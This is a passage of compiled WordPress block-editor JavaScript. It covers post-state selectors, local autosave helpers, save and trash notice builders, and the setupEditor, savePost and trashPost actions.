2497function isCurrentPostPending(state) {
2498 return getCurrentPost(state).status === "pending";
2499}
2500function isCurrentPostPublished(state, currentPost) {
2501 const post = currentPost || getCurrentPost(state);
2502 return ["publish", "private"].indexOf(post.status) !== -1 || post.status === "future" && !(0,external_wp_date_namespaceObject.isInTheFuture)(
2503 new Date(Number((0,external_wp_date_namespaceObject.getDate)(post.date)) - ONE_MINUTE_IN_MS)
2504 );
2505}
2506function isCurrentPostScheduled(state) {
2507 return getCurrentPost(state).status === "future" && !isCurrentPostPublished(state);
2508}
2509function isEditedPostPublishable(state) {
2510 const post = getCurrentPost(state);
2511 return isEditedPostDirty(state) || ["publish", "private", "future"].indexOf(post.status) === -1;
2512}
2513function isEditedPostSaveable(state) {
2514 if (isSavingPost(state)) {
2515 return false;
2516 }
2517 return !!getEditedPostAttribute(state, "title") || !!getEditedPostAttribute(state, "excerpt") || !isEditedPostEmpty(state) || external_wp_element_namespaceObject.Platform.OS === "native";
2518}
2519const isEditedPostEmpty = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2520 (select) => (state) => {
2521 const postId = getCurrentPostId(state);
2522 const postType = getCurrentPostType(state);
2523 const record = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
2524 "postType",
2525 postType,
2526 postId
2527 );
2528 if (typeof record.content !== "function") {
2529 return !record.content;
2530 }
2531 const blocks = getEditedPostAttribute(state, "blocks");
2532 if (blocks.length === 0) {
2533 return true;
2534 }
2535 if (blocks.length > 1) {
2536 return false;
2537 }
2538 const blockName = blocks[0].name;
2539 if (blockName !== (0,external_wp_blocks_namespaceObject.getDefaultBlockName)() && blockName !== (0,external_wp_blocks_namespaceObject.getFreeformContentHandlerName)()) {
2540 return false;
2541 }
2542 return !getEditedPostContent(state);
2543 }
2544);
2545const isEditedPostAutosaveable = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2546 (select) => (state) => {
2547 if (!isEditedPostSaveable(state)) {
2548 return false;
2549 }
2550 if (isPostAutosavingLocked(state)) {
2551 return false;
2552 }
2553 const postType = getCurrentPostType(state);
2554 const postTypeObject = select(external_wp_coreData_namespaceObject.store).getPostType(postType);
2555 if (postType === "wp_template" || !postTypeObject?.supports?.autosave) {
2556 return false;
2557 }
2558 const postId = getCurrentPostId(state);
2559 const hasFetchedAutosave = select(external_wp_coreData_namespaceObject.store).hasFetchedAutosaves(
2560 postType,
2561 postId
2562 );
2563 const currentUserId = select(external_wp_coreData_namespaceObject.store).getCurrentUser()?.id;
2564 const autosave = select(external_wp_coreData_namespaceObject.store).getAutosave(
2565 postType,
2566 postId,
2567 currentUserId
2568 );
2569 if (!hasFetchedAutosave) {
2570 return false;
2571 }
2572 if (!autosave) {
2573 return true;
2574 }
2575 if (hasChangedContent(state)) {
2576 return true;
2577 }
2578 return ["title", "excerpt", "meta"].some(
2579 (field) => getPostRawValue(autosave[field]) !== getEditedPostAttribute(state, field)
2580 );
2581 }
2582);
2583function isEditedPostBeingScheduled(state) {
2584 const date = getEditedPostAttribute(state, "date");
2585 const checkedDate = new Date(
2586 Number((0,external_wp_date_namespaceObject.getDate)(date)) - ONE_MINUTE_IN_MS
2587 );
2588 return (0,external_wp_date_namespaceObject.isInTheFuture)(checkedDate);
2589}
2590function isEditedPostDateFloating(state) {
2591 const date = getEditedPostAttribute(state, "date");
2592 const modified = getEditedPostAttribute(state, "modified");
2593 const status = getCurrentPost(state).status;
2594 if (status === "draft" || status === "auto-draft" || status === "pending") {
2595 return date === modified || date === null;
2596 }
2597 return false;
2598}
2599function isDeletingPost(state) {
2600 return !!state.deleting.pending;
2601}
2602function isSavingPost(state) {
2603 return !!state.saving.pending;
2604}
2605const isSavingNonPostEntityChanges = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2606 (select) => (state) => {
2607 const entitiesBeingSaved = select(external_wp_coreData_namespaceObject.store).__experimentalGetEntitiesBeingSaved();
2608 const { type, id } = getCurrentPost(state);
2609 return entitiesBeingSaved.some(
2610 (entityRecord) => entityRecord.kind !== "postType" || entityRecord.name !== type || entityRecord.key !== id
2611 );
2612 }
2613);
2614const didPostSaveRequestSucceed = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2615 (select) => (state) => {
2616 const postType = getCurrentPostType(state);
2617 const postId = getCurrentPostId(state);
2618 return !select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError(
2619 "postType",
2620 postType,
2621 postId
2622 );
2623 }
2624);
2625const didPostSaveRequestFail = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2626 (select) => (state) => {
2627 const postType = getCurrentPostType(state);
2628 const postId = getCurrentPostId(state);
2629 return !!select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError(
2630 "postType",
2631 postType,
2632 postId
2633 );
2634 }
2635);
2636function isAutosavingPost(state) {
2637 return isSavingPost(state) && Boolean(state.saving.options?.isAutosave);
2638}
2639function isPreviewingPost(state) {
2640 return isSavingPost(state) && Boolean(state.saving.options?.isPreview);
2641}
2642function getEditedPostPreviewLink(state) {
2643 if (state.saving.pending || isSavingPost(state)) {
2644 return;
2645 }
2646 let previewLink = getAutosaveAttribute(state, "preview_link");
2647 if (!previewLink || "draft" === getCurrentPost(state).status) {
2648 previewLink = getEditedPostAttribute(state, "link");
2649 if (previewLink) {
2650 previewLink = (0,external_wp_url_namespaceObject.addQueryArgs)(previewLink, { preview: true });
2651 }
2652 }
2653 const featuredImageId = getEditedPostAttribute(state, "featured_media");
2654 if (previewLink && featuredImageId) {
2655 return (0,external_wp_url_namespaceObject.addQueryArgs)(previewLink, { _thumbnail_id: featuredImageId });
2656 }
2657 return previewLink;
2658}
2659const getSuggestedPostFormat = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2660 (select) => () => {
2661 const blocks = select(external_wp_blockEditor_namespaceObject.store).getBlocks();
2662 if (blocks.length > 2) {
2663 return null;
2664 }
2665 let name;
2666 if (blocks.length === 1) {
2667 name = blocks[0].name;
2668 if (name === "core/embed") {
2669 const provider = blocks[0].attributes?.providerNameSlug;
2670 if (["youtube", "vimeo"].includes(provider)) {
2671 name = "core/video";
2672 } else if (["spotify", "soundcloud"].includes(provider)) {
2673 name = "core/audio";
2674 }
2675 }
2676 }
2677 if (blocks.length === 2 && blocks[1].name === "core/paragraph") {
2678 name = blocks[0].name;
2679 }
2680 switch (name) {
2681 case "core/image":
2682 return "image";
2683 case "core/quote":
2684 case "core/pullquote":
2685 return "quote";
2686 case "core/gallery":
2687 return "gallery";
2688 case "core/video":
2689 return "video";
2690 case "core/audio":
2691 return "audio";
2692 default:
2693 return null;
2694 }
2695 }
2696);
2697const getEditedPostContent = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2698 (select) => (state) => {
2699 const postId = getCurrentPostId(state);
2700 const postType = getCurrentPostType(state);
2701 const record = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
2702 "postType",
2703 postType,
2704 postId
2705 );
2706 if (record) {
2707 if (typeof record.content === "function") {
2708 return record.content(record);
2709 } else if (record.blocks) {
2710 return (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(record.blocks);
2711 } else if (record.content) {
2712 return record.content;
2713 }
2714 }
2715 return "";
2716 }
2717);
2718function isPublishingPost(state) {
2719 return isSavingPost(state) && !isCurrentPostPublished(state) && getEditedPostAttribute(state, "status") === "publish";
2720}
2721function isPermalinkEditable(state) {
2722 const permalinkTemplate = getEditedPostAttribute(
2723 state,
2724 "permalink_template"
2725 );
2726 return PERMALINK_POSTNAME_REGEX.test(permalinkTemplate);
2727}
2728function getPermalink(state) {
2729 const permalinkParts = getPermalinkParts(state);
2730 if (!permalinkParts) {
2731 return null;
2732 }
2733 const { prefix, postName, suffix } = permalinkParts;
2734 if (isPermalinkEditable(state)) {
2735 return prefix + postName + suffix;
2736 }
2737 return prefix;
2738}
2739function getEditedPostSlug(state) {
2740 return getEditedPostAttribute(state, "slug") || (0,external_wp_url_namespaceObject.cleanForSlug)(getEditedPostAttribute(state, "title")) || getCurrentPostId(state);
2741}
2742function getPermalinkParts(state) {
2743 const permalinkTemplate = getEditedPostAttribute(
2744 state,
2745 "permalink_template"
2746 );
2747 if (!permalinkTemplate) {
2748 return null;
2749 }
2750 const postName = getEditedPostAttribute(state, "slug") || getEditedPostAttribute(state, "generated_slug");
2751 const [prefix, suffix] = permalinkTemplate.split(
2752 PERMALINK_POSTNAME_REGEX
2753 );
2754 return {
2755 prefix,
2756 postName,
2757 suffix
2758 };
2759}
2760function isPostLocked(state) {
2761 return state.postLock.isLocked;
2762}
2763function isPostSavingLocked(state) {
2764 return Object.keys(state.postSavingLock).length > 0;
2765}
2766function isPostAutosavingLocked(state) {
2767 return Object.keys(state.postAutosavingLock).length > 0;
2768}
2769function isPostLockTakeover(state) {
2770 return state.postLock.isTakeover;
2771}
2772function getPostLockUser(state) {
2773 return state.postLock.user;
2774}
2775function getActivePostLock(state) {
2776 return state.postLock.activePostLock;
2777}
2778function canUserUseUnfilteredHTML(state) {
2779 return Boolean(
2780 getCurrentPost(state)._links?.hasOwnProperty(
2781 "wp:action-unfiltered-html"
2782 )
2783 );
2784}
2785const isPublishSidebarEnabled = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2786 (select) => () => !!select(external_wp_preferences_namespaceObject.store).get("core", "isPublishSidebarEnabled")
2787);
2788const getEditorBlocks = (0,external_wp_data_namespaceObject.createSelector)(
2789 (state) => {
2790 return getEditedPostAttribute(state, "blocks") || (0,external_wp_blocks_namespaceObject.parse)(getEditedPostContent(state));
2791 },
2792 (state) => [
2793 getEditedPostAttribute(state, "blocks"),
2794 getEditedPostContent(state)
2795 ]
2796);
2797function isEditorPanelRemoved(state, panelName) {
2798 return state.removedPanels.includes(panelName);
2799}
2800const isEditorPanelEnabled = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2801 (select) => (state, panelName) => {
2802 const inactivePanels = select(external_wp_preferences_namespaceObject.store).get(
2803 "core",
2804 "inactivePanels"
2805 );
2806 return !isEditorPanelRemoved(state, panelName) && !inactivePanels?.includes(panelName);
2807 }
2808);
2809const isEditorPanelOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2810 (select) => (state, panelName) => {
2811 const openPanels = select(external_wp_preferences_namespaceObject.store).get(
2812 "core",
2813 "openPanels"
2814 );
2815 return !!openPanels?.includes(panelName);
2816 }
2817);
2818function getEditorSelectionStart(state) {
2819 external_wp_deprecated_default()("select('core/editor').getEditorSelectionStart", {
2820 since: "5.8",
2821 alternative: "select('core/editor').getEditorSelection"
2822 });
2823 return getEditedPostAttribute(state, "selection")?.selectionStart;
2824}
2825function getEditorSelectionEnd(state) {
2826 external_wp_deprecated_default()("select('core/editor').getEditorSelectionStart", {
2827 since: "5.8",
2828 alternative: "select('core/editor').getEditorSelection"
2829 });
2830 return getEditedPostAttribute(state, "selection")?.selectionEnd;
2831}
2832function getEditorSelection(state) {
2833 return getEditedPostAttribute(state, "selection");
2834}
2835function __unstableIsEditorReady(state) {
2836 return !!state.postId;
2837}
2838function getEditorSettings(state) {
2839 return state.editorSettings;
2840}
2841function getRenderingMode(state) {
2842 return state.renderingMode;
2843}
2844const getDeviceType = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2845 (select) => (state) => {
2846 const isZoomOut = unlock(select(external_wp_blockEditor_namespaceObject.store)).isZoomOut();
2847 if (isZoomOut) {
2848 return "Desktop";
2849 }
2850 return state.deviceType;
2851 }
2852);
2853function isListViewOpened(state) {
2854 return state.listViewPanel;
2855}
2856function isInserterOpened(state) {
2857 return !!state.blockInserterPanel;
2858}
2859const getEditorMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2860 (select) => () => select(external_wp_preferences_namespaceObject.store).get("core", "editorMode") ?? "visual"
2861);
2862function getStateBeforeOptimisticTransaction() {
2863 external_wp_deprecated_default()("select('core/editor').getStateBeforeOptimisticTransaction", {
2864 since: "5.7",
2865 hint: "No state history is kept on this store anymore"
2866 });
2867 return null;
2868}
2869function inSomeHistory() {
2870 external_wp_deprecated_default()("select('core/editor').inSomeHistory", {
2871 since: "5.7",
2872 hint: "No state history is kept on this store anymore"
2873 });
2874 return false;
2875}
2876function getBlockEditorSelector(name) {
2877 return (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => (state, ...args) => {
2878 external_wp_deprecated_default()("`wp.data.select( 'core/editor' )." + name + "`", {
2879 since: "5.3",
2880 alternative: "`wp.data.select( 'core/block-editor' )." + name + "`",
2881 version: "6.2"
2882 });
2883 return select(external_wp_blockEditor_namespaceObject.store)[name](...args);
2884 });
2885}
2886const getBlockName = getBlockEditorSelector("getBlockName");
2887const isBlockValid = getBlockEditorSelector("isBlockValid");
2888const getBlockAttributes = getBlockEditorSelector("getBlockAttributes");
2889const getBlock = getBlockEditorSelector("getBlock");
2890const getBlocks = getBlockEditorSelector("getBlocks");
2891const getClientIdsOfDescendants = getBlockEditorSelector(
2892 "getClientIdsOfDescendants"
2893);
2894const getClientIdsWithDescendants = getBlockEditorSelector(
2895 "getClientIdsWithDescendants"
2896);
2897const getGlobalBlockCount = getBlockEditorSelector(
2898 "getGlobalBlockCount"
2899);
2900const getBlocksByClientId = getBlockEditorSelector(
2901 "getBlocksByClientId"
2902);
2903const getBlockCount = getBlockEditorSelector("getBlockCount");
2904const getBlockSelectionStart = getBlockEditorSelector(
2905 "getBlockSelectionStart"
2906);
2907const getBlockSelectionEnd = getBlockEditorSelector(
2908 "getBlockSelectionEnd"
2909);
2910const getSelectedBlockCount = getBlockEditorSelector(
2911 "getSelectedBlockCount"
2912);
2913const hasSelectedBlock = getBlockEditorSelector("hasSelectedBlock");
2914const getSelectedBlockClientId = getBlockEditorSelector(
2915 "getSelectedBlockClientId"
2916);
2917const getSelectedBlock = getBlockEditorSelector("getSelectedBlock");
2918const getBlockRootClientId = getBlockEditorSelector(
2919 "getBlockRootClientId"
2920);
2921const getBlockHierarchyRootClientId = getBlockEditorSelector(
2922 "getBlockHierarchyRootClientId"
2923);
2924const getAdjacentBlockClientId = getBlockEditorSelector(
2925 "getAdjacentBlockClientId"
2926);
2927const getPreviousBlockClientId = getBlockEditorSelector(
2928 "getPreviousBlockClientId"
2929);
2930const getNextBlockClientId = getBlockEditorSelector(
2931 "getNextBlockClientId"
2932);
2933const getSelectedBlocksInitialCaretPosition = getBlockEditorSelector(
2934 "getSelectedBlocksInitialCaretPosition"
2935);
2936const getMultiSelectedBlockClientIds = getBlockEditorSelector(
2937 "getMultiSelectedBlockClientIds"
2938);
2939const getMultiSelectedBlocks = getBlockEditorSelector(
2940 "getMultiSelectedBlocks"
2941);
2942const getFirstMultiSelectedBlockClientId = getBlockEditorSelector(
2943 "getFirstMultiSelectedBlockClientId"
2944);
2945const getLastMultiSelectedBlockClientId = getBlockEditorSelector(
2946 "getLastMultiSelectedBlockClientId"
2947);
2948const isFirstMultiSelectedBlock = getBlockEditorSelector(
2949 "isFirstMultiSelectedBlock"
2950);
2951const isBlockMultiSelected = getBlockEditorSelector(
2952 "isBlockMultiSelected"
2953);
2954const isAncestorMultiSelected = getBlockEditorSelector(
2955 "isAncestorMultiSelected"
2956);
2957const getMultiSelectedBlocksStartClientId = getBlockEditorSelector(
2958 "getMultiSelectedBlocksStartClientId"
2959);
2960const getMultiSelectedBlocksEndClientId = getBlockEditorSelector(
2961 "getMultiSelectedBlocksEndClientId"
2962);
2963const getBlockOrder = getBlockEditorSelector("getBlockOrder");
2964const getBlockIndex = getBlockEditorSelector("getBlockIndex");
2965const isBlockSelected = getBlockEditorSelector("isBlockSelected");
2966const hasSelectedInnerBlock = getBlockEditorSelector(
2967 "hasSelectedInnerBlock"
2968);
2969const isBlockWithinSelection = getBlockEditorSelector(
2970 "isBlockWithinSelection"
2971);
2972const hasMultiSelection = getBlockEditorSelector("hasMultiSelection");
2973const isMultiSelecting = getBlockEditorSelector("isMultiSelecting");
2974const isSelectionEnabled = getBlockEditorSelector("isSelectionEnabled");
2975const getBlockMode = getBlockEditorSelector("getBlockMode");
2976const isTyping = getBlockEditorSelector("isTyping");
2977const isCaretWithinFormattedText = getBlockEditorSelector(
2978 "isCaretWithinFormattedText"
2979);
2980const getBlockInsertionPoint = getBlockEditorSelector(
2981 "getBlockInsertionPoint"
2982);
2983const isBlockInsertionPointVisible = getBlockEditorSelector(
2984 "isBlockInsertionPointVisible"
2985);
2986const isValidTemplate = getBlockEditorSelector("isValidTemplate");
2987const getTemplate = getBlockEditorSelector("getTemplate");
2988const getTemplateLock = getBlockEditorSelector("getTemplateLock");
2989const canInsertBlockType = getBlockEditorSelector("canInsertBlockType");
2990const getInserterItems = getBlockEditorSelector("getInserterItems");
2991const hasInserterItems = getBlockEditorSelector("hasInserterItems");
2992const getBlockListSettings = getBlockEditorSelector(
2993 "getBlockListSettings"
2994);
2995const __experimentalGetDefaultTemplateTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2996 (select) => () => {
2997 external_wp_deprecated_default()(
2998 "select('core/editor').__experimentalGetDefaultTemplateTypes",
2999 {
3000 since: "6.8",
3001 alternative: "select('core/core-data').getCurrentTheme()?.default_template_types"
3002 }
3003 );
3004 return select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_types;
3005 }
3006);
3007const __experimentalGetDefaultTemplatePartAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)(
3008 (select) => (0,external_wp_data_namespaceObject.createSelector)(() => {
3009 external_wp_deprecated_default()(
3010 "select('core/editor').__experimentalGetDefaultTemplatePartAreas",
3011 {
3012 since: "6.8",
3013 alternative: "select('core/core-data').getCurrentTheme()?.default_template_part_areas"
3014 }
3015 );
3016 const areas = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [];
3017 return areas.map((item) => {
3018 return { ...item, icon: getTemplatePartIcon(item.icon) };
3019 });
3020 })
3021);
3022const __experimentalGetDefaultTemplateType = (0,external_wp_data_namespaceObject.createRegistrySelector)(
3023 (select) => (0,external_wp_data_namespaceObject.createSelector)((state, slug) => {
3024 external_wp_deprecated_default()(
3025 "select('core/editor').__experimentalGetDefaultTemplateType",
3026 {
3027 since: "6.8"
3028 }
3029 );
3030 const templateTypes = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_types;
3031 if (!templateTypes) {
3032 return selectors_EMPTY_OBJECT;
3033 }
3034 return Object.values(templateTypes).find(
3035 (type) => type.slug === slug
3036 ) ?? selectors_EMPTY_OBJECT;
3037 })
3038);
3039const __experimentalGetTemplateInfo = (0,external_wp_data_namespaceObject.createRegistrySelector)(
3040 (select) => (0,external_wp_data_namespaceObject.createSelector)((state, template) => {
3041 external_wp_deprecated_default()("select('core/editor').__experimentalGetTemplateInfo", {
3042 since: "6.8"
3043 });
3044 if (!template) {
3045 return selectors_EMPTY_OBJECT;
3046 }
3047 const currentTheme = select(external_wp_coreData_namespaceObject.store).getCurrentTheme();
3048 const templateTypes = currentTheme?.default_template_types || [];
3049 const templateAreas = currentTheme?.default_template_part_areas || [];
3050 return getTemplateInfo({
3051 template,
3052 templateAreas,
3053 templateTypes
3054 });
3055 })
3056);
3057const getPostTypeLabel = (0,external_wp_data_namespaceObject.createRegistrySelector)(
3058 (select) => (state) => {
3059 const currentPostType = getCurrentPostType(state);
3060 const postType = select(external_wp_coreData_namespaceObject.store).getPostType(currentPostType);
3061 return postType?.labels?.singular_name;
3062 }
3063);
3064function isPublishSidebarOpened(state) {
3065 return state.publishSidebarActive;
3066}
3067
3068
3069;// external ["wp","a11y"]
3070const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
3071;// external ["wp","apiFetch"]
3072const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
3073var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
3074;// external ["wp","notices"]
3075const external_wp_notices_namespaceObject = window["wp"]["notices"];
3076;// external ["wp","i18n"]
3077const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
3078;// ./node_modules/@wordpress/editor/build-module/store/local-autosave.js
3079function postKey(postId, isPostNew) {
3080 return `wp-autosave-block-editor-post-${isPostNew ? "auto-draft" : postId}`;
3081}
3082function localAutosaveGet(postId, isPostNew) {
3083 return window.sessionStorage.getItem(postKey(postId, isPostNew));
3084}
3085function localAutosaveSet(postId, isPostNew, title, content, excerpt) {
3086 window.sessionStorage.setItem(
3087 postKey(postId, isPostNew),
3088 JSON.stringify({
3089 post_title: title,
3090 content,
3091 excerpt
3092 })
3093 );
3094}
3095function localAutosaveClear(postId, isPostNew) {
3096 window.sessionStorage.removeItem(postKey(postId, isPostNew));
3097}
3098
3099
3100;// ./node_modules/@wordpress/editor/build-module/store/utils/notice-builder.js
3101
3102function getNotificationArgumentsForSaveSuccess(data) {
3103 const { previousPost, post, postType } = data;
3104 if (data.options?.isAutosave) {
3105 return [];
3106 }
3107 const publishStatus = ["publish", "private", "future"];
3108 const isPublished = publishStatus.includes(previousPost.status);
3109 const willPublish = publishStatus.includes(post.status);
3110 const willTrash = post.status === "trash" && previousPost.status !== "trash";
3111 let noticeMessage;
3112 let shouldShowLink = postType?.viewable ?? false;
3113 let isDraft;
3114 if (willTrash) {
3115 noticeMessage = postType.labels.item_trashed;
3116 shouldShowLink = false;
3117 } else if (!isPublished && !willPublish) {
3118 noticeMessage = (0,external_wp_i18n_namespaceObject.__)("Draft saved.");
3119 isDraft = true;
3120 } else if (isPublished && !willPublish) {
3121 noticeMessage = postType.labels.item_reverted_to_draft;
3122 shouldShowLink = false;
3123 } else if (!isPublished && willPublish) {
3124 noticeMessage = {
3125 publish: postType.labels.item_published,
3126 private: postType.labels.item_published_privately,
3127 future: postType.labels.item_scheduled
3128 }[post.status];
3129 } else {
3130 noticeMessage = postType.labels.item_updated;
3131 }
3132 const actions = [];
3133 if (shouldShowLink) {
3134 actions.push({
3135 label: isDraft ? (0,external_wp_i18n_namespaceObject.__)("View Preview") : postType.labels.view_item,
3136 url: post.link,
3137 openInNewTab: true
3138 });
3139 }
3140 return [
3141 noticeMessage,
3142 {
3143 id: "editor-save",
3144 type: "snackbar",
3145 actions
3146 }
3147 ];
3148}
3149function getNotificationArgumentsForSaveFail(data) {
3150 const { post, edits, error } = data;
3151 if (error && "rest_autosave_no_changes" === error.code) {
3152 return [];
3153 }
3154 const publishStatus = ["publish", "private", "future"];
3155 const isPublished = publishStatus.indexOf(post.status) !== -1;
3156 if (error.code === "offline_error") {
3157 const messages2 = {
3158 publish: (0,external_wp_i18n_namespaceObject.__)("Publishing failed because you were offline."),
3159 private: (0,external_wp_i18n_namespaceObject.__)("Publishing failed because you were offline."),
3160 future: (0,external_wp_i18n_namespaceObject.__)("Scheduling failed because you were offline."),
3161 default: (0,external_wp_i18n_namespaceObject.__)("Updating failed because you were offline.")
3162 };
3163 const noticeMessage2 = !isPublished && edits.status in messages2 ? messages2[edits.status] : messages2.default;
3164 return [noticeMessage2, { id: "editor-save" }];
3165 }
3166 const messages = {
3167 publish: (0,external_wp_i18n_namespaceObject.__)("Publishing failed."),
3168 private: (0,external_wp_i18n_namespaceObject.__)("Publishing failed."),
3169 future: (0,external_wp_i18n_namespaceObject.__)("Scheduling failed."),
3170 default: (0,external_wp_i18n_namespaceObject.__)("Updating failed.")
3171 };
3172 let noticeMessage = !isPublished && edits.status in messages ? messages[edits.status] : messages.default;
3173 if (error.message && !/<\/?[^>]*>/.test(error.message)) {
3174 noticeMessage = [noticeMessage, error.message].join(" ");
3175 }
3176 return [
3177 noticeMessage,
3178 {
3179 id: "editor-save"
3180 }
3181 ];
3182}
3183function getNotificationArgumentsForTrashFail(data) {
3184 return [
3185 data.error.message && data.error.code !== "unknown_error" ? data.error.message : (0,external_wp_i18n_namespaceObject.__)("Trashing failed"),
3186 {
3187 id: "editor-trash-fail"
3188 }
3189 ];
3190}
3191
3192
3193;// ./node_modules/@wordpress/editor/build-module/store/actions.js
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207const setupEditor = (post, edits, template) => ({ dispatch }) => {
3208 dispatch.setEditedPost(post.type, post.id);
3209 const isNewPost = post.status === "auto-draft";
3210 if (isNewPost && template) {
3211 let content;
3212 if ("content" in edits) {
3213 content = edits.content;
3214 } else {
3215 content = post.content.raw;
3216 }
3217 let blocks = (0,external_wp_blocks_namespaceObject.parse)(content);
3218 blocks = (0,external_wp_blocks_namespaceObject.synchronizeBlocksWithTemplate)(blocks, template);
3219 dispatch.resetEditorBlocks(blocks, {
3220 __unstableShouldCreateUndoLevel: false
3221 });
3222 }
3223 if (edits && Object.values(edits).some(
3224 ([key, edit]) => edit !== (post[key]?.raw ?? post[key])
3225 )) {
3226 dispatch.editPost(edits);
3227 }
3228};
3229function __experimentalTearDownEditor() {
3230 external_wp_deprecated_default()(
3231 "wp.data.dispatch( 'core/editor' ).__experimentalTearDownEditor",
3232 {
3233 since: "6.5"
3234 }
3235 );
3236 return { type: "DO_NOTHING" };
3237}
3238function resetPost() {
3239 external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).resetPost", {
3240 since: "6.0",
3241 version: "6.3",
3242 alternative: "Initialize the editor with the setupEditorState action"
3243 });
3244 return { type: "DO_NOTHING" };
3245}
3246function updatePost() {
3247 external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).updatePost", {
3248 since: "5.7",
3249 alternative: "Use the core entities store instead"
3250 });
3251 return {
3252 type: "DO_NOTHING"
3253 };
3254}
3255function setupEditorState(post) {
3256 external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).setupEditorState", {
3257 since: "6.5",
3258 alternative: "wp.data.dispatch( 'core/editor' ).setEditedPost"
3259 });
3260 return setEditedPost(post.type, post.id);
3261}
3262function setEditedPost(postType, postId) {
3263 return {
3264 type: "SET_EDITED_POST",
3265 postType,
3266 postId
3267 };
3268}
3269const editPost = (edits, options) => ({ select, registry }) => {
3270 const { id, type } = select.getCurrentPost();
3271 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord("postType", type, id, edits, options);
3272};
3273const savePost = (options = {}) => async ({ select, dispatch, registry }) => {
3274 if (!select.isEditedPostSaveable()) {
3275 return;
3276 }
3277 const content = select.getEditedPostContent();
3278 if (!options.isAutosave) {
3279 dispatch.editPost({ content }, { undoIgnore: true });
3280 }
3281 const previousRecord = select.getCurrentPost();
3282 let edits = {
3283 id: previousRecord.id,
3284 ...registry.select(external_wp_coreData_namespaceObject.store).getEntityRecordNonTransientEdits(
3285 "postType",
3286 previousRecord.type,
3287 previousRecord.id
3288 ),
3289 content
3290 };
3291 dispatch({ type: "REQUEST_POST_UPDATE_START", options });
3292 let error = false;
3293 try {
3294 edits = await (0,external_wp_hooks_namespaceObject.applyFiltersAsync)(
3295 "editor.preSavePost",
3296 edits,
3297 options
3298 );
3299 } catch (err) {
3300 error = err;
3301 }
3302 if (!error) {
3303 try {
3304 await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEntityRecord(
3305 "postType",
3306 previousRecord.type,
3307 edits,
3308 options
3309 );
3310 } catch (err) {
3311 error = err.message && err.code !== "unknown_error" ? err.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while updating.");
3312 }
3313 }
3314 if (!error) {
3315 error = registry.select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError(
3316 "postType",
3317 previousRecord.type,
3318 previousRecord.id
3319 );
3320 }
3321 if (!error) {
3322 try {
3323 await (0,external_wp_hooks_namespaceObject.applyFilters)(
3324 "editor.__unstableSavePost",
3325 Promise.resolve(),
3326 options
3327 );
3328 } catch (err) {
3329 error = err;
3330 }
3331 }
3332 if (!error) {
3333 try {
3334 await (0,external_wp_hooks_namespaceObject.doActionAsync)(
3335 "editor.savePost",
3336 { id: previousRecord.id },
3337 options
3338 );
3339 } catch (err) {
3340 error = err;
3341 }
3342 }
3343 dispatch({ type: "REQUEST_POST_UPDATE_FINISH", options });
3344 if (error) {
3345 const args = getNotificationArgumentsForSaveFail({
3346 post: previousRecord,
3347 edits,
3348 error
3349 });
3350 if (args.length) {
3351 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(...args);
3352 }
3353 } else {
3354 const updatedRecord = select.getCurrentPost();
3355 const args = getNotificationArgumentsForSaveSuccess({
3356 previousPost: previousRecord,
3357 post: updatedRecord,
3358 postType: await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(updatedRecord.type),
3359 options
3360 });
3361 if (args.length) {
3362 registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice(...args);
3363 }
3364 if (!options.isAutosave) {
3365 registry.dispatch(external_wp_blockEditor_namespaceObject.store).__unstableMarkLastChangeAsPersistent();
3366 }
3367 }
3368};
3369function refreshPost() {
3370 external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).refreshPost", {
3371 since: "6.0",
3372 version: "6.3",
3373 alternative: "Use the core entities store instead"
3374 });
3375 return { type: "DO_NOTHING" };
3376}
3377const trashPost = () => async ({ select, dispatch, registry }) => {
3378 const postTypeSlug = select.getCurrentPostType();
3379 const postType = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
3380 const { rest_base: restBase, rest_namespace: restNamespace = "wp/v2" } = postType;
3381 dispatch({ type: "REQUEST_POST_DELETE_START" });
3382 try {
3383 const post = select.getCurrentPost();
3384 await external_wp_apiFetch_default()({
3385 path: `/${restNamespace}/${restBase}/${post.id}`,
3386 method: "DELETE"
3387 });
3388 await dispatch.savePost();
3389 } catch (error) {
3390 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(
3391 ...getNotificationArgumentsForTrashFail({ error })
3392 );
3393 }
3394 dispatch({ type: "REQUEST_POST_DELETE_FINISH" });
3395};
